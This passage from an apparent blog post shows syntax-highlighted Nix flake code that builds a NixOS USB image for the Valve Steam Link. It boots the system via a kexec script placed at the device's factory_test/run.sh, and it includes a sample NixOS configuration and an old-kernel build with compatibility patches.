</span></span><span style="display:flex;"><span>            (runCommand <span style="color:#79a8ff">&#34;marvell-firmware&#34;</span> {} <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              mkdir -p $out/lib/firmware/mrvl
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              cp </span><span style="color:#79a8ff">${</span>linux-firmware<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/lib/firmware/mrvl/sd8897_uapsta.bin $out/lib/firmware/mrvl/
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            &#39;&#39;</span>)
</span></span><span style="display:flex;"><span>            wireless-regdb
</span></span><span style="display:flex;"><span>          ]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          documentation<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          programs<span style="color:#00d3d0">.</span>command-not-found<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkDefault false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          networking<span style="color:#00d3d0">.</span>networkmanager<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          networking<span style="color:#00d3d0">.</span>firewall<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          xdg<span style="color:#00d3d0">.</span>icons<span style="color:#00d3d0">.</span>enable  <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          xdg<span style="color:#00d3d0">.</span>mime<span style="color:#00d3d0">.</span>enable   <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          xdg<span style="color:#00d3d0">.</span>sounds<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          fonts<span style="color:#00d3d0">.</span>fontconfig<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          programs<span style="color:#00d3d0">.</span>nano<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          system<span style="color:#00d3d0">.</span>disableInstallerTools <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>          system<span style="color:#00d3d0">.</span>switch<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          system<span style="color:#00d3d0">.</span>nixos-init<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          nix<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          systemd<span style="color:#00d3d0">.</span>services<span style="color:#00d3d0">.</span>register-nix-paths <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce {};
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        usb-image <span style="color:#00d3d0">=</span> { modulesPath<span style="color:#00d3d0">,</span> config<span style="color:#00d3d0">,</span> <span style="color:#00d3d0">...</span> }: {
</span></span><span style="display:flex;"><span>          imports <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/installer/sd-card/sd-image.nix&#34;</span>)
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># in theory it should be possible to disable the kernel</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># and initrd for the nixos rootfs for some significant</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># space savings (because we&#39;re passing a copy of the</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># kernel and initrd from the STEAMLINK partition to kexec</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># directly, but in practice I never got that working)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          boot<span style="color:#00d3d0">.</span>kernelParams <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;root=/dev/disk/by-label/</span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>sdImage<span style="color:#00d3d0">.</span>rootVolumeLabel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span> <span style="color:#79a8ff">&#34;rootwait&#34;</span> <span style="color:#79a8ff">&#34;rw&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;usbcore.autosuspend=-1&#34;</span>
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          image<span style="color:#00d3d0">.</span>extension <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce <span style="color:#79a8ff">&#34;img&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          sdImage <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>            dtb <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;berlin2cd-valve-steamlink.dtb&#34;</span>;
</span></span><span style="display:flex;"><span>            kexecScript <span style="color:#00d3d0">=</span> pkgs<span style="color:#00d3d0">.</span>buildPackages<span style="color:#00d3d0">.</span>writeScript <span style="color:#79a8ff">&#34;kexec-nixos&#34;</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              #!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              fts-set steamlink.crashcounter 0
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              mkdir -p /mnt/disk/proc /mnt/disk/sys /mnt/disk/dev
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              mount -t proc proc /mnt/disk/proc
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              mount -o rbind /sys /mnt/disk/sys
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              mount -o rbind /dev /mnt/disk/dev
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              insmod /mnt/disk/kexec_load.ko
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              chroot /mnt/disk/ /kexec --load /zImage \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                                       --initrd /initrd \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                                       --dtb /berlin2cd-valve-steamlink.dtb \
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                                       --command-line &#34;init=</span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>build<span style="color:#00d3d0">.</span>toplevel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/init </span><span style="color:#79a8ff">${</span><span style="color:#f78fe7">toString</span> config<span style="color:#00d3d0">.</span>boot<span style="color:#00d3d0">.</span>kernelParams<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              chroot /mnt/disk/ /kexec -e
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">inherit</span> (self<span style="color:#00d3d0">.</span>packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span>) kernel initialRamdisk;
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">in</span> {
</span></span><span style="display:flex;"><span>            compressImage <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>            firmwarePartitionName <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;STEAMLINK&#34;</span>;
</span></span><span style="display:flex;"><span>            rootVolumeLabel <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;NIXOS&#34;</span>;
</span></span><span style="display:flex;"><span>            populateFirmwareCommands <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              pushd firmware
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              files=(
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                </span><span style="color:#79a8ff">${</span>kernel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/</span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>boot<span style="color:#00d3d0">.</span>loader<span style="color:#00d3d0">.</span>kernelFile<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                </span><span style="color:#79a8ff">${</span>initialRamdisk<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/</span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>boot<span style="color:#00d3d0">.</span>loader<span style="color:#00d3d0">.</span>initrdFile<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                </span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>hardware<span style="color:#00d3d0">.</span>deviceTree<span style="color:#00d3d0">.</span>package<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/</span><span style="color:#79a8ff">${</span>dtb<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                </span><span style="color:#79a8ff">${</span>self<span style="color:#00d3d0">.</span>packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span><span style="color:#00d3d0">.</span>kexecMod<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/lib/modules/3.8.13-mrvl/extra/kexec_load.ko
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                </span><span style="color:#79a8ff">${</span>pkgs<span style="color:#00d3d0">.</span>pkgsStatic<span style="color:#00d3d0">.</span>kexec-tools<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/bin/kexec
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              )
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              for f in </span><span style="color:#79a8ff">&#39;&#39;$</span><span style="color:#79a8ff">{files[@]}; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                cp $f ./
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              # factory_test/run.sh will run before this has a chance to
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              # enable ssh; uncomment if not booting straight into NixOS
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              # mkdir -p steamlink/config/system
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              # touch steamlink/config/system/enable_ssh.txt
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              mkdir -p steamlink/factory_test
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              cp </span><span style="color:#79a8ff">${</span>kexecScript<span style="color:#79a8ff">}</span><span style="color:#79a8ff"> steamlink/factory_test/run.sh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              popd
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>            populateRootCommands <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>      };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      nixosConfigurations<span style="color:#00d3d0">.</span>steamlink <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>nixosSystem {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">inherit</span> system pkgs;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        modules <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>          self<span style="color:#00d3d0">.</span>nixosModules<span style="color:#00d3d0">.</span>minimal
</span></span><span style="display:flex;"><span>          self<span style="color:#00d3d0">.</span>nixosModules<span style="color:#00d3d0">.</span>usb-image
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          ({ <span style="color:#00d3d0">...</span> }: {
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8"># your NixOS config here!</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            services<span style="color:#00d3d0">.</span>tailscale<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            services<span style="color:#00d3d0">.</span>openssh <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>              <span style="color:#a8a8a8"># might be able to remove security wrappers if using static openssh</span>
</span></span><span style="display:flex;"><span>              <span style="color:#a8a8a8"># see https://sidhion.com/blog/nixos_server_issues#:~:text=While%20looking%20through%20the%20lvm%20stuff</span>
</span></span><span style="display:flex;"><span>              <span style="color:#a8a8a8"># package = pkgs.pkgsStatic.openssh;</span>
</span></span><span style="display:flex;"><span>              enable <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>              settings <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>                PermitRootLogin <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;yes&#34;</span>;
</span></span><span style="display:flex;"><span>              };
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>            users<span style="color:#00d3d0">.</span>users<span style="color:#00d3d0">.</span>root<span style="color:#00d3d0">.</span>openssh<span style="color:#00d3d0">.</span>authorizedKeys<span style="color:#00d3d0">.</span>keys <span style="color:#00d3d0">=</span> [ <span style="color:#79a8ff">&#34;...&#34;</span> ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            hardware<span style="color:#00d3d0">.</span>bluetooth<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            networking <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>              hostName <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;steamlink&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>              useDHCP <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>              interfaces<span style="color:#00d3d0">.</span>eth0 <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>                useDHCP <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>                <span style="color:#a8a8a8"># prefer DHCP but use a static IP for debugging over a direct ethernet serial line to your host machine</span>
</span></span><span style="display:flex;"><span>                ipv4<span style="color:#00d3d0">.</span>addresses <span style="color:#00d3d0">=</span> [{
</span></span><span style="display:flex;"><span>                  address <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;169.254.31.216&#34;</span>;
</span></span><span style="display:flex;"><span>                  prefixLength <span style="color:#00d3d0">=</span> <span style="color:#00bcff">16</span>;
</span></span><span style="display:flex;"><span>                }];
</span></span><span style="display:flex;"><span>              };
</span></span><span style="display:flex;"><span>              wireless <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>                enable <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>                networks  <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>                  <span style="color:#79a8ff">&#34;WiFi&#34;</span> <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>                    psk <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;hunter2&#34;</span>;
</span></span><span style="display:flex;"><span>                  };
</span></span><span style="display:flex;"><span>                };
</span></span><span style="display:flex;"><span>              };
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>          })
</span></span><span style="display:flex;"><span>        ];
</span></span><span style="display:flex;"><span>      };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span> <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">inherit</span> (self<span style="color:#00d3d0">.</span>nixosConfigurations<span style="color:#00d3d0">.</span>steamlink<span style="color:#00d3d0">.</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>build) kernel initialRamdisk sdImage;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        default <span style="color:#00d3d0">=</span> self<span style="color:#00d3d0">.</span>packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span><span style="color:#00d3d0">.</span>sdImage;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        oldKernel <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">inherit</span> (pkgs) stdenv fetchFromGitHub buildPackages fetchpatch writeText;
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">inherit</span> (self<span style="color:#00d3d0">.</span>packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span>) kernel;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">in</span> stdenv<span style="color:#00d3d0">.</span>mkDerivation {
</span></span><span style="display:flex;"><span>          pname <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;linux-steamlink&#34;</span>;
</span></span><span style="display:flex;"><span>          version <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;3.8.13&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          src <span style="color:#00d3d0">=</span> fetchFromGitHub {
</span></span><span style="display:flex;"><span>            owner <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;ValveSoftware&#34;</span>;
</span></span><span style="display:flex;"><span>            repo <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;steamlink-sdk&#34;</span>;
</span></span><span style="display:flex;"><span>            rootDir <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;kernel&#34;</span>;
</span></span><span style="display:flex;"><span>            rev <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;62b4d098d1472c3534dd098ca2a0e0e10712f1c6&#34;</span>;
</span></span><span style="display:flex;"><span>            hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-3Q8JjNmkRFCkdt8E+ol+E/c2sy+X5I7UYhsHAfYBdWs=&#34;</span>;
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>          sourceRoot <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;source&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          patches <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            (fetchpatch {
</span></span><span style="display:flex;"><span>              url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;https://gitlab.com/postmarketOS/pmaports/-/raw/aa289aa350071e6afc54f6b6704ba28971b50466/device/.shared-patches/linux/linux3.4-ARM-8933-1-replace-Sun-Solaris-style-flag-on-section.patch&#34;</span>;
</span></span><span style="display:flex;"><span>              hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-KRNI4070H0AFMCZl7pYnIbin6lbp68/xuf6yOPvmYdI=&#34;</span>;
</span></span><span style="display:flex;"><span>            })
</span></span><span style="display:flex;"><span>            (fetchpatch {
</span></span><span style="display:flex;"><span>              url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;https://gitlab.com/postmarketOS/pmaports/-/raw/aa289aa350071e6afc54f6b6704ba28971b50466/device/.shared-patches/linux/gcc10-extern_YYLOC_global_declaration.patch&#34;</span>;
</span></span><span style="display:flex;"><span>              hash <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;sha256-9hq5xGeJRL/ESHofOh4MAOAGV2IlDRYvvpxyxk3MXlw=&#34;</span>;
</span></span><span style="display:flex;"><span>            })
</span></span><span style="display:flex;"><span>            (writeText <span style="color:#79a8ff">&#34;0001-gcc-bug85745.diff&#34;</span>
</span></span><span style="display:flex;"><span>              <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                diff --git a/arch/arm/include/asm/uaccess.h b/arch/arm/include/asm/uaccess.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                index 74b17d0..dc64fa2 100644
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                --- a/arch/arm/include/asm/uaccess.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                +++ b/arch/arm/include/asm/uaccess.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                @@ -164,7 +164,7 @@
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                 #define __put_user_check(x,p)</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                 </span><span style="color:#79a8ff">&#39;&#39;\t</span><span style="color:#79a8ff">({</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                 </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">unsigned long __limit = current_thread_info()-&gt;addr_limit - 1; </span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                -</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register const typeof(*(p)) __r2 asm(&#34;r2&#34;) = (x);</span><span style="color:#79a8ff">&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                +</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register typeof(*(p)) __r2 asm(&#34;r2&#34;) = (x);</span><span style="color:#79a8ff">&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                 </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register const typeof(*(p)) __user *__p asm(&#34;r0&#34;) = (p);</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                 </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register unsigned long __l asm(&#34;r1&#34;) = __limit;</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">                 </span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">register int __e asm(&#34;r0&#34;);</span><span style="color:#79a8ff">&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t&#39;&#39;\t</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\\</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              &#39;&#39;</span>)
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          postPatch <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            substituteInPlace arch/arm/boot/compressed/piggy.xzkern.S --replace-fail &#39;#alloc&#39; &#39; &#34;a&#34;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            substituteInPlace arch/arm/mach-berlin/Makefile.boot --replace-fail &#39;/bin/bash&#39; &#39;</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>shell<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            substituteInPlace arch/arm/boot/compressed/Makefile --replace-fail &#39;</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\t</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">@$(check_for_multiple_zreladdr)&#39; &#39;</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\t</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">echo LDFLAGS_vmlinux = </span><span style="color:#79a8ff">&#39;&#39;$</span><span style="color:#79a8ff">{LDFLAGS_vmlinux}</span><span style="color:#79a8ff">${</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\n\t</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">@$(check_for_multiple_zreladdr)&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            cp include/linux/compiler-gcc4.h include/linux/compiler-gcc</span><span style="color:#79a8ff">${</span>lib<span style="color:#00d3d0">.</span>versions<span style="color:#00d3d0">.</span>major buildPackages<span style="color:#00d3d0">.</span>stdenv<span style="color:#00d3d0">.</span>cc<span style="color:#00d3d0">.</span>version<span style="color:#79a8ff">}</span><span style="color:#79a8ff">.h
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">          &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">inherit</span> (kernel) nativeBuildInputs;
</span></span><span style="display:flex;"><span>          depsBuildBuild <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            buildPackages<span style="color:#00d3d0">.</span>stdenv<span style="color:#00d3d0">.</span>cc
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          makeFlags <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;ARCH=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>hostPlatform<span style="color:#00d3d0">.</span>linuxArch<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;LOCALVERSION=-mrvl&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;CROSS_COMPILE=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>cc<span style="color:#00d3d0">.</span>targetPrefix<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>          env<span style="color:#00d3d0">.</span>NIX_CFLAGS_COMPILE <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">toString</span> [
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;-std=gnu89&#34;</span>
